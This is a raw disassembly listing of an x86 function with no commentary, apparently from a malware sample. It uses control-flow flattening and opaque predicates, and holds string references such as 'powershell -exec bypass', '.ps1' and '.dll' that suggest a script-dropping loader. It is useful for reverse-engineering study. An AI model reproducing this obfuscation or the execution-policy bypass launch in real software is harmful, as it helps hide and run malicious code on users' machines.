dec edx
mov dword [esi + 8], eax
mov eax, 0xcb251bca
cmp ecx, edx
je 0x42540e
mov eax, 0x5b267297
jmp 0x42540e
mov eax, dword [esi + 0xd4]
mov dword [esi + 0xc0], eax
mov dword [esi], 0x2184e6fc
jmp 0x4215ff
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.004422b6
add esp, 8
mov eax, dword [esi + 0x170]
test eax, eax
je 0x421710
cmp eax, 1
je 0x424370
cmp eax, 2
jne 0x423464
mov eax, dword [esi + 8]
shr eax, 9
add eax, 0x63
imul ecx, eax, 0xf200
imul eax, eax
imul edx, eax, 0x16ed
dec edx
or ecx, 0xb3
mov dword [esi + 8], ecx
mov ecx, 0x9a29c658
cmp eax, edx
je 0x4253c8
mov ecx, 0x60a036de
jmp 0x4253c8
mov eax, dword [esi + 0x68]
mov dword [esi], 0xfcb665fc
jmp 0x4215ff
imul ecx, dword [esi + 4], 0x1180
add ecx, 0xffffa6e0
mov dword [esi + 4], ecx
mov eax, 0xc92049e7
cmp ecx, 0x9d
jge 0x42540e
mov eax, 0x4616c898
jmp 0x42540e
mov ecx, dword [esi + 4]
add ecx, 0xffffffbe
mov dword [esi + 4], ecx
mov eax, 0x66024f5d
cmp ecx, 0xab
je 0x42540e
mov eax, 0x9a29c658
jmp 0x42540e
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x28]
imul eax, eax
imul edx, eax, 0x1807
dec edx
shl ecx, 4
add ecx, 0x390
and ecx, 0xfffffe00
mov dword [esi + 8], ecx
mov ecx, 0xc92049e7
cmp edx, eax
je 0x4253c8
mov ecx, 0x1a1e7688
jmp 0x4253c8
push 0x400
push 0
push dword [esi + 0x44]
call fcn.00433ea0
add esp, 0xc
mov edi, 0x200
push edi
push dword [esi + 0xb8]
push dword [esi + 0x44]
call fcn.0043e9ac
add esp, 0xc
push dword [esi + 0x10]
push dword [esi + 0x44]
call fcn.00418881
add esp, 8
mov eax, dword [esi + 0x70]
push 0x3a
push str.powershell__exec_bypass___s_
push dword [esi + 0x70]
call fcn.004333a0
add esp, 0xc
mov eax, dword [esi + 0x74]
push dword [esi + 0x10]
push dword [esi + 0x70]
push edi
push dword [esi + 0x74]
call 0x425690
add esp, 0x10
mov dword [esi], 0x1a071f1a
jmp 0x4215ff
mov dword [esi], 0xd6f4e0e3
jmp 0x4215ff
push dword [esi + 0xb4]
push dword [esi + 0x100]
push dword [esi + 0x90]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0xb4]
mov ecx, dword [esi + 0x90]
mov word [ecx + eax*2], 0
mov dword [esi], 0x31ea814
jmp 0x4215ff
mov eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x114]
mov dword [esi + 0x174], eax
mov dword [esi], 0xf27d07c3
jmp 0x4215ff
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x3c
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 0x44
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x4c], eax
mov dword [esi], 0x709e7a25
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0xb
add eax, 0xffffffbc
mov dword [esi + 8], eax
mov dword [esi], 0x8f784c7a
jmp 0x4215ff
imul eax, dword [esi + 4], 0x6538
add eax, 0x1d4230
mov dword [esi + 4], eax
mov dword [esi], 0x17dbd9f7
jmp 0x4215ff
imul eax, dword [esi + 8], 0x9400000
add eax, 0xa8fc8800
mov dword [esi + 8], eax
mov dword [esi], 0xb215b350
jmp 0x4215ff
push 3
push 0x456562
push dword [esi + 0x14]
call fcn.00401548
add esp, 0xc
mov ecx, 0xda8ad0d
test eax, eax
je 0x4253c8
mov ecx, 0x614631bb
jmp 0x4253c8
mov eax, dword [esi + 0xb0]
add eax, eax
add eax, 2
push eax
call fcn.0043e964
add esp, 4
mov dword [esi + 0x8c], eax
mov dword [esi], 0x61f3ffe3
jmp 0x4215ff
imul eax, dword [esi + 8], 0xfd0000
add eax, 0xffffffac
mov dword [esi + 8], eax
mov dword [esi], 0xa53e1553
jmp 0x4215ff
call fcn.0043eca0
mov dword [esi + 0x180], eax
mov dword [esi], 0xcae7d6f9
jmp 0x4215ff
mov eax, dword [esi + 0x40]
mov dword [esi], 0xb43a4194
jmp 0x4215ff
push 0x456576
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xb8], eax
mov dword [esi], 0x58250b3c
jmp 0x4215ff
mov dword [esi], 0x59b82ec3
jmp 0x4215ff
push dword [esi + 0x1c]
call fcn.00401606
add esp, 4
cmp byte [esi + 0x23], 0
mov eax, 0xd566001a
jne 0x42540e
mov eax, 0x9eadd92c
jmp 0x42540e
push dword [esi + 0x1c]
call fcn.00401606
add esp, 4
mov dword [esi], 0x7bf0abd6
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 8
add eax, 0x2cc
mov dword [esi + 8], eax
mov dword [esi], 0x40a4859
jmp 0x4215ff
imul edi, dword [esi + 4], 0x2a40
add edi, 0xffffff48
mov eax, edi
shr eax, 0xf
add eax, 0xffffffa2
mov dword [esi + 4], eax
call fcn.004215e8
call fcn.00405998
mov eax, 0x17dbd9f7
cmp edi, 0x660000
jb 0x4246b7
jmp 0x42540e
mov edi, dword [esi + 4]
add edi, 0xffffffa6
mov dword [esi + 4], edi
call fcn.004215e8
mov eax, 0x1630e0a1
cmp edi, 0x2a
jl 0x42540e
mov eax, 0x709e7a25
jmp 0x42540e
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi], 0xca7d9612
jmp 0x4215ff
imul eax, dword [esi + 8], 0x7448
shr eax, 0xd
add eax, 0xffffff4c
mov dword [esi + 8], eax
mov dword [esi], 0xecf60134
jmp 0x4215ff
mov eax, dword [esi + 4]
shr eax, 0xe
imul edi, eax, 0x37c
add edi, 0xfffffe1c
mov dword [esi + 4], edi
push 0x29c4
push 0x4ee3
push edi
call 0x425690
add esp, 0xc
call fcn.00405998
mov eax, 0x60ca634
cmp edi, 0x71
jb 0x424a1b
jmp 0x42540e
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x44
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi], 0x359a4a84
jmp 0x4215ff
mov ecx, dword [esi + 4]
shl ecx, 8
and ecx, 0x7ffff00
or ecx, 7
mov dword [esi + 4], ecx
mov eax, 0x8dbaef5b
cmp ecx, 0xb6
jae 0x42540e
mov eax, 0xf46168c7
jmp 0x42540e
push dword [esi + 0xe8]
call fcn.00401315
add esp, 4
mov dword [esi + 0xec], eax
push dword [esi + 0xec]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xa4]
add eax, eax
add eax, 2
push eax
call fcn.0043e964
add esp, 4
mov dword [esi + 0x80], eax
mov dword [esi], 0xc2d8eff3
jmp 0x4215ff
mov edi, 3
push edi
push 0x456578
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
push edi
push 0x45657b
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
push 2
push 0x456576
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov dword [esi + 0x16c], eax
mov dword [esi], 0x902336ea
jmp 0x4215ff
mov dword [esi], 0x38ff502d
jmp 0x4215ff
mov eax, dword [esi + 8]
add eax, 0xffffffc5
mov ecx, eax
shr ecx, 1
imul ecx, ecx
imul edx, ecx, 0x4211
dec edx
shr eax, 0x15
and eax, 0x3f
mov dword [esi + 8], eax
mov eax, 0x38caa96c
cmp edx, ecx
je 0x42540e
mov eax, 0x4a5f78ac
jmp 0x42540e
mov eax, dword [esi + 4]
shr eax, 8
imul eax, eax, 0x2c00
add eax, 0x2b800
shr eax, 4
mov dword [esi + 4], eax
mov dword [esi], 0xa6f28bee
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 7
add eax, 0xfffed00
shr eax, 6
and eax, 0x3ffffe
add eax, 0xfffffe89
mov dword [esi + 8], eax
mov dword [esi], 0x7e7d28fd
mov eax, dword [esi + 0x188]
mov dword [esi + 0xd4], eax
jmp 0x4215ff
push 0x456580
push dword [esi + 0x14]
call fcn.004013de
add esp, 8
test eax, eax
sete byte [esi + 0x23]
mov dword [esi], 0x159486f
jmp 0x4215ff
mov eax, dword [esi + 4]
shl eax, 0x12
add eax, 0xff342800
mov dword [esi + 4], eax
mov dword [esi], 0xeec6e15
jmp 0x4215ff
imul ecx, dword [esi + 4], 0xf400000
mov dword [esi + 4], ecx
mov eax, 0x614631bb
cmp ecx, 0xf2
jl 0x42540e
mov eax, 0xd91beb26
jmp 0x42540e
imul eax, dword [esi + 8], 0x47000
add eax, 0xfb6c8000
mov dword [esi + 8], eax
mov dword [esi], 0x8faf1f90
jmp 0x4215ff
imul eax, dword [esi + 8], 0x37000000
mov dword [esi + 8], eax
mov dword [esi], 0x1630e0a1
jmp 0x4215ff
push dword [esi + 0x10]
push dword [esi + 0x34]
call fcn.00418881
add esp, 8
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x38]
mov dword [esi], 0xf110033e
jmp 0x4215ff
push dword [esi + 0x18]
push 1
call fcn.00419760
add esp, 8
push dword [esi + 0x18]
call fcn.00428e94
add esp, 4
push dword [esi + 0x18]
call fcn.004283dc
add esp, 4
mov dword [esi], 0x374a509b
jmp 0x4215ff
push 0x456569
push dword [esi + 0xc]
call fcn.0040133c
add esp, 8
fstp qword [esi + 0x190]
mov dword [esi], 0x23667d06
jmp 0x4215ff
imul ecx, dword [esi + 4], 0xcf
add ecx, 0xffffff45
mov dword [esi + 4], ecx
mov eax, 0xd40623ca
cmp ecx, 0x45
jb 0x42540e
mov eax, 0xa96491da
jmp 0x42540e
push dword [esi + 0xb0]
push dword [esi + 0xfc]
push dword [esi + 0x8c]
call fcn.0043e9ac
add esp, 0xc
mov dword [esi], 0x566818b5
jmp 0x4215ff
cmp dword [esi + 0x144], 0
mov eax, 0x1b7e6718
je 0x42540e
mov eax, 0x4861e6c3
jmp 0x42540e
mov eax, dword [esi + 4]
shr eax, 0xd
add eax, eax
add eax, 0x152
mov dword [esi + 4], eax
call fcn.00405998
mov dword [esi], 0x71c5912e
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0x17
add eax, 0xd0800000
mov dword [esi + 8], eax
mov dword [esi], 0xe5657a9
jmp 0x4215ff
push 6
push 0x456580
push dword [esi + 0x14]
call fcn.00401548
add esp, 0xc
mov ecx, 0x44d0e1d4
test eax, eax
je 0x4253c8
mov ecx, 0xdb1522b5
jmp 0x4253c8
imul eax, dword [esi + 8], 0x8dc4
add eax, 0x3faefd
mov dword [esi + 8], eax
mov dword [esi], 0x30c346c6
jmp 0x4215ff
imul eax, dword [esi + 4], 0xb6
shr eax, 3
add eax, 0x90
mov dword [esi + 4], eax
mov dword [esi], 0x8097b18f
jmp 0x4215ff
mov eax, dword [esi + 0x18]
mov dword [esi], 0x71078864
mov dword [esi + 0x5c], 1
jmp 0x4215ff
fld qword [esi + 0x190]
fnstcw word [esi + 0x5a]
movzx eax, word [esi + 0x5a]
or eax, 0xc00
mov word [esi + 0xce], ax
fldcw word [esi + 0xce]
fistp dword [esi + 0x118]
fldcw word [esi + 0x5a]
mov eax, dword [esi + 0x118]
cmp eax, 4
ja case.0x424b06.3
jmp dword [eax*4 + 0x456584]
imul eax, dword [esi + 8], 0xd836
add eax, 0xb81a
mov dword [esi + 8], eax
mov dword [esi], 0x852c33ef
jmp 0x4215ff
mov eax, dword [esi + 0x108]
inc eax
mov dword [esi + 0x104], eax
mov dword [esi], 0xa1678918
jmp 0x4215ff
call fcn.0040733c
mov dword [esi], 0x1f84cf79
jmp 0x4215ff
push 2
push 0x456576
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov dword [esi], 0xa2cc8593
jmp 0x4215ff
imul eax, dword [esi + 8], 0x6655e
shr eax, 1
add eax, 0xffffffc1
mov dword [esi + 8], eax
mov dword [esi], 0x56112f5c
jmp 0x4215ff
push 3
push 0x456573
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov dword [esi + 0x14c], eax
mov dword [esi], 0xe7685976
jmp 0x4215ff
mov dword [esi], 0x56fb1c8d
jmp 0x4215ff
mov eax, dword [esi + 8]
shr eax, 1
imul ecx, eax, 0xa80
imul eax, eax
imul edx, eax, 0x206f
dec edx
add ecx, 0xffffff56
mov dword [esi + 8], ecx
mov ecx, 0x50356ab
cmp eax, edx
je 0x4253c8
mov ecx, 0xb09b03be
jmp 0x4253c8
mov ecx, dword [esi + 8]
mov eax, 0x99
add ecx, eax
mov eax, ecx
shr eax, 0xa
imul eax, eax
shr ecx, 0x17
imul edx, eax, 0x57cd
imul ecx, ecx, 0x99
dec edx
add ecx, 0xee
mov dword [esi + 8], ecx
mov ecx, 0xe88c259a
cmp eax, edx
je 0x4253c8
mov ecx, 0xd74a0f18
jmp 0x4253c8
push dword [esi + 0x7c]
call fcn.0043e5b4
add esp, 4
push dword [esi + 0x78]
call fcn.0043e5b4
add esp, 4
mov eax, dword [esi + 0x24]
mov dword [esi], 0x3122b294
jmp 0x4215ff
mov edi, dword [esi + 4]
shl edi, 0x1a
mov dword [esi + 4], edi
push 0x501
push 0x3195
push edi
call 0x425690
add esp, 0xc
mov eax, 0x50da737d
test edi, edi
je 0x42540e
mov eax, 0xc3a13050
jmp 0x42540e
push dword [esi + 0x2c]
call fcn.00419a56
add esp, 4
push dword [esi + 0x90]
call fcn.0043e5b4
add esp, 4
push dword [esi + 0x8c]
call fcn.0043e5b4
add esp, 4
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x3122b294
jmp 0x4215ff
mov dword [esi], 0xb0576ce6
jmp 0x4215ff
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 0x10
add eax, 0x13
mov dword [esi + 4], eax
mov eax, 0xe88c259a
cmp ecx, 0x140000
jb 0x42540e
mov eax, 0x15e301e8
jmp 0x42540e
push 0x45656b
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xf4], eax
push 0x45656f
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xf8], eax
push dword [esi + 0xf4]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xa8], eax
push dword [esi + 0xf8]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0xa8]
add eax, eax
mov dword [esi + 0x160], eax
mov dword [esi], 0x2bab38c
jmp 0x4215ff
imul eax, dword [esi + 8], 0x2e
shr eax, 0xf
mov dword [esi + 8], eax
mov dword [esi], 0x70e8de82
jmp 0x4215ff
push 0x400
push 0
push dword [esi + 0x34]
call fcn.00433ea0
add esp, 0xc
push 0x200
push dword [esi + 0xb8]
push dword [esi + 0x34]
call fcn.0043e9ac
add esp, 0xc
mov dword [esi], 0x5f1bc186
jmp 0x4215ff
mov eax, dword [esi + 0x68]
movzx ecx, word [0x45651c]
mov word [eax + 8], cx
mov ecx, dword [0x456518]
mov dword [eax + 4], ecx
mov ecx, dword [str..dll]
mov dword [eax], ecx
push dword [esi + 0x68]
push dword [esi + 0x10]
call fcn.004422b6
add esp, 8
mov ecx, dword [esi + 0xbc]
mov eax, 0x1b2e091f
cmp ecx, 2
jb 0x42540e
mov eax, 0x6dd7c548
jmp 0x42540e
push 0x400
push 0
push dword [esi + 0x40]
call fcn.00433ea0
add esp, 0xc
mov dword [esi], 0xd1f1c6b
jmp 0x4215ff
cmp dword [esi + 0x16c], 0
mov eax, 0x3122b294
je 0x42540e
mov eax, 0x1a4911e2
jmp 0x42540e
imul edi, dword [esi + 4], 0x2fc
add edi, 0xfffffe5a
mov dword [esi + 4], edi
push 0x28fe
push 0x4200
push edi
call 0x425690
add esp, 0xc
push 0x1371
push edi
push 0x62cf
call 0x425690
add esp, 0xc
mov eax, 0xd7df6f29
cmp edi, 0x9f
jl 0x42540e
mov eax, 0xd40623ca
jmp 0x42540e
push 0x456566
push dword [esi + 0x14]
call fcn.004013a8
add esp, 8
mov dword [esi + 0x134], eax
push 0x456564
push dword [esi + 0x14]
call fcn.004013a8
add esp, 8
mov dword [esi + 0x94], eax
mov dword [esi], 0x79499e71
jmp 0x4215ff
imul ecx, dword [esi + 4], 0xb2c0
mov dword [esi + 4], ecx
mov eax, 0xc92049e7
cmp ecx, 0x7d
jb 0x425084
jmp 0x42540e
mov dword [esi], 0x5e47bc62
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 4
add eax, 0x778
shr eax, 0xf
add eax, 0xffffffda
mov dword [esi + 8], eax
mov dword [esi], 0x19f034ab
jmp 0x4215ff
push 0x45657d
push dword [esi + 0x14]
call fcn.004013de
add esp, 8
mov ecx, 0xbce63931
test eax, eax
je 0x4253c8
mov ecx, 0x84df7198
jmp 0x4253c8
mov eax, dword [esi + 8]
shl eax, 0x1b
add eax, 0xffffffd1
mov dword [esi + 8], eax
mov dword [esi], 0x3122b294
jmp 0x4215ff
imul eax, dword [esi + 8], 0xfe00
shr eax, 5
add eax, 0x980
mov dword [esi + 8], eax
mov dword [esi], 0x3bf921b0
mov eax, dword [esi + 0xf0]
mov dword [esi + 0xd8], eax
jmp 0x4215ff
push 0x45656f
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0x100], eax
push dword [esi + 0xfc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xb0], eax
push dword [esi + 0x100]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xb4], eax
mov dword [esi], 0xd4fa944b
jmp 0x4215ff
movzx eax, word [esi + 0xd0]
add eax, 0x61
mov word [esi + 0xd2], ax
mov dword [esi], 0xe726792a
jmp 0x4215ff
mov eax, dword [esi + 0x64]
mov dword [esi], 0xf6695f29
jmp 0x4215ff
push dword [esi + 0x18]
call fcn.00419a56
add esp, 4
mov dword [esi], 0x7e3a3569
jmp 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0xffffff15
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5505
shr eax, 0xb
dec edx
mov dword [esi + 8], eax
mov eax, 0x8dbaef5b
cmp ecx, edx
je 0x42540e
mov eax, 0x60ca634
jmp 0x42540e
imul eax, dword [esi + 4], 0xcf87e000
add eax, 0xffffff91
mov dword [esi + 4], eax
mov dword [esi], 0x79499e71
jmp 0x4215ff
mov eax, dword [esi + 0x6c]
movzx ecx, word [0x456526]
mov word [eax + 8], cx
mov ecx, dword [0x456522]
mov dword [eax + 4], ecx
mov ecx, dword [str..ps1]
mov dword [eax], ecx
push dword [esi + 0x6c]
push dword [esi + 0x10]
call fcn.004422b6
add esp, 8
mov eax, dword [esi + 0x44]
mov dword [esi], 0x7146eb79
jmp 0x4215ff
mov ecx, dword [esi + 4]
mov eax, 0xfffffedf
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x4616c898
cmp ecx, 0x4e
jl 0x42540e
mov eax, 0xca7d9612
jmp 0x42540e
mov eax, dword [esi + 4]
shr eax, 3
imul eax, eax, 0xf2
shr eax, 0x10
and eax, 0xffffff80
add eax, 0xffffb200
mov dword [esi + 4], eax
call fcn.00405998
mov dword [esi], 0x5e5732f9
jmp 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0xffffff65
add eax, ecx
mov ecx, eax
shl ecx, 0xc
imul eax, eax
imul edx, eax, 0x60a9
add ecx, 0xfffea400
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xa178e40c
cmp edx, eax
je 0x4253c8
mov ecx, 0x7ee0c740
jmp 0x4253c8
push 5
push 0x456564
push dword [esi + 0x14]
call fcn.00401548
add esp, 0xc
mov ecx, 0x2154265c
test eax, eax
je 0x4253c8
mov ecx, 0x934be26f
jmp 0x4253c8
push dword [esi + 0x10c]
push dword [esi + 0x98]
call fcn.00401589
add esp, 8
mov dword [esi + 0xe8], eax
push dword [esi + 0xe8]
call fcn.00401579
add esp, 4
mov ecx, 0xb343ce14
cmp eax, 2
je 0x4253c8
mov ecx, 0xb9a019c3
jmp 0x4253c8
mov edi, dword [esi + 4]
mov eax, 0xd3
add edi, eax
mov eax, edi
shr eax, 3
mov dword [esi + 4], eax
call fcn.004215e8
mov eax, 0x348abb46
cmp edi, 0x5a8
jae 0x42540e
mov eax, 0x17dbd9f7
jmp 0x42540e
push 2
push 0x45656f
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0x8e8d4c6f
jmp 0x4253c8
push dword [esi + 0x1c]
call fcn.00401606
add esp, 4
mov dword [esi], 0x8d08e7b4
jmp 0x4215ff
push 0x200
push dword [esi + 0xb8]
push dword [esi + 0x40]
call fcn.0043e9ac
add esp, 0xc
push dword [esi + 0x10]
push dword [esi + 0x40]
call fcn.00418881
add esp, 8
mov eax, dword [esi + 0x40]
cmp dword [esi + 0xbc], 0
mov eax, 0x46fe4ecc
je 0x42540e
mov eax, 0xd8b4c1f7
jmp 0x42540e
imul eax, dword [esi + 4], 0xbcb800
add eax, 0x6e3700
mov dword [esi + 4], eax
mov dword [esi], 0x9a29c658
jmp 0x4215ff
mov dword [esi], 0xc8f28e48
jmp 0x4215ff
mov dword [esi], 0xf46168c7
jmp 0x4215ff
imul edi, dword [esi + 4], 0xc7
mov eax, edi
shr eax, 0xd
mov dword [esi + 4], eax
call fcn.00405998
mov eax, 0x2424c2da
cmp edi, 0xa0000
jb 0x42540e
mov eax, 0x5fc7ebfe
jmp 0x42540e
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x1cafef4d
jmp 0x4215ff
imul eax, dword [esi + 4], 0x38e000
shr eax, 0xf
imul eax, eax, 0xca
add eax, 0x72
mov dword [esi + 4], eax
mov dword [esi], 0x8d84d09d
jmp 0x4215ff
push dword [esi + 0xa0]
push dword [esi + 0xe4]
push dword [esi + 0x7c]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0xa0]
mov ecx, dword [esi + 0x7c]
mov word [ecx + eax*2], 0
mov eax, dword [esi + 0x24]
push dword [esi + 0x24]
push 1
call fcn.00419760
add esp, 8
mov dword [esi], 0x937a5d68
jmp 0x4215ff
push dword [esi + 0x1c]
call fcn.0040138c
add esp, 4
mov dword [esi + 0x14], eax
mov dword [esi], 0x6fa4c2e4
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0x1b
lea eax, [eax + eax*2]
mov ecx, 0xfffffdec
sub ecx, eax
mov dword [esi + 8], ecx
mov dword [esi], 0xba7e249
jmp 0x4215ff
push 6
push 0x45657d
push dword [esi + 0x14]
call fcn.00401548
add esp, 0xc
mov dword [esi + 0x140], eax
mov dword [esi], 0x99952f51
jmp 0x4215ff
mov dword [esi], 0x8097b18f
jmp 0x4215ff
mov eax, dword [esi + 0x34]
mov dword [esi], 0xab7fc4a1
jmp 0x4215ff
mov edi, dword [esi + 4]
shl edi, 5
add edi, 0xfffffc80
mov dword [esi + 4], edi
call fcn.004215e8
mov eax, 0x66024f5d
cmp edi, 0xba
jb 0x42540e
mov eax, 0x1f84cf79
jmp 0x42540e
push dword [esi + 0x174]
call fcn.0043ec8e
add esp, 4
mov dword [esi], 0x20f7d7de
jmp 0x4215ff
mov eax, dword [esi + 8]
shr eax, 0xf
add eax, 0xe
imul ecx, eax, 0xb0
imul eax, eax
imul edx, eax, 0x59f3
dec edx
shr ecx, 4
add ecx, 0xffffffab
mov dword [esi + 8], ecx
mov ecx, 0x17dbd9f7
cmp eax, edx
je 0x4253c8
mov ecx, 0xd91beb26
mov dword [esi], ecx
jmp 0x4215ff
mov edi, dword [esi + 4]
mov eax, 0xc3
add edi, eax
mov ebx, edi
shr ebx, 0x14
add ebx, 0x18
mov dword [esi + 4], ebx
call fcn.00405998
push ebx
push 0x40a1
push 0x4104
call 0x425690
add esp, 0xc
mov eax, 0x734530d1
cmp edi, 0x7700000
jb 0x42540e
mov eax, 0x7e7b588a
mov dword [esi], eax
jmp 0x4215ff
push dword [esi + 0x12c]
call fcn.0040116d
add esp, 4
mov dword [esi + 0x1c], eax
push dword [esi + 0x1c]
call fcn.00401579
add esp, 4
mov dword [esi + 0x130], eax
mov dword [esi], 0x71c5912e
jmp 0x4215ff
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi], 0xe3a20264
jmp 0x4215ff
cmp eax, 0x71078864
je 0x425587
jmp 0x4215ff
cmp eax, 0xc80c3d33
jne 0x4215ff
jmp 0x425658
cmp eax, 0x77e1cc7d
jne 0x4215ff
jmp 0x42563a
cmp eax, 0x41abbfd6
jne 0x4215ff
jmp 0x425592
cmp eax, 0xa96491da
jne 0x4215ff
jmp 0x4255a2
cmp eax, 0xbc425ab2
jne 0x4215ff
jmp 0x425645
cmp eax, 0xbf0b6942
jne 0x4215ff
jmp 0x4255ae
cmp eax, 0xdeb2be40
jne 0x4215ff
jmp 0x4255b7
cmp eax, 0xec457516
jne 0x4215ff
jmp 0x4255ce
cmp eax, 0x15e301e8
jne 0x4215ff
jmp 0x4255de
cmp eax, 0x87bc616a
jne 0x4215ff
jmp 0x4255f0
cmp eax, 0xce9b8fd3
jne 0x4215ff
jmp 0x4255fb
cmp eax, 0xfe67dacf
jne 0x4215ff
jmp 0x425607
cmp eax, 0x50284e34
jne 0x4215ff
jmp 0x42567c
cmp eax, 0x348abb46
jne 0x4215ff
jmp 0x425610
cmp eax, 0x35d878d7
jne 0x4215ff
jmp 0x42561c
cmp eax, 0xa2002190
je 0x42562a
cmp eax, 0xa178e40c
jne 0x4215ff
mov eax, dword [esi + 4]
shl eax, 0x1c
lea eax, [eax + eax*2]
mov ecx, 0xe0000000
sub ecx, eax
mov dword [esi + 4], ecx
call fcn.004215e8
mov eax, dword [esi + 0x5c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 4]
shr eax, 0xf
add eax, 0xffffff60
jmp 0x425650
add dword [esi + 4], 0xffffff49
call fcn.004256cf
imul eax, dword [esi + 4], 0x6c00
jmp 0x4255c1
imul eax, dword [esi + 4], 0x490000
add eax, 0xffffffe8
mov dword [esi + 4], eax
call fcn.004215e8
call fcn.004256cf
mov eax, dword [esi + 4]
lea eax, [eax + eax*2]
shl eax, 8
add eax, 0xffffbf79
jmp 0x425650
mov eax, dword [esi + 4]
shr eax, 1
imul eax, eax, 0x1570000
add eax, 0x6b85c000
jmp 0x425650
imul eax, dword [esi + 4], 0x2f
add eax, 0xfffff879
jmp 0x425650
mov dword [esi + 4], 0
call fcn.004256cf
imul eax, dword [esi + 4], 0x218c0000
jmp 0x425650
add dword [esi + 4], 0xf3
call fcn.004256cf
add dword [esi + 4], 0xd
call fcn.00405998
call fcn.004256cf
mov eax, dword [esi + 4]
shr eax, 4
and eax, 0xffffffc0
add eax, 0xffffba60
jmp 0x425650
imul eax, dword [esi + 4], 0x3d
add eax, 0xffffc998
jmp 0x425650
mov eax, dword [esi + 4]
shl eax, 0xc
add eax, 0xfffdd000
mov dword [esi + 4], eax
call fcn.004256cf
mov eax, 0xe2
add eax, dword [esi + 4]
shr eax, 2
imul eax, eax, 0x3dc000
mov dword [esi + 4], eax
push 0x1b24
push 0x17ef
push eax
call 0x425690
imul eax, dword [esi + 4], 0x3d0
add eax, 0x92
mov dword [esi + 4], eax
call fcn.00405998
push ebp
push ebx
push edi
push esi
push eax
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
lea ebp, [esp + 0x24]
mov dword [esp], ebp
call fcn.00405998
push ebp
push 0
push ebx
push edi
push esi
push dword [eax + 4]
push dword [eax]
call fcn.004343f1
add esp, 0x1c
test eax, eax
jns 0x4256c7
xor eax, eax
dec eax
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret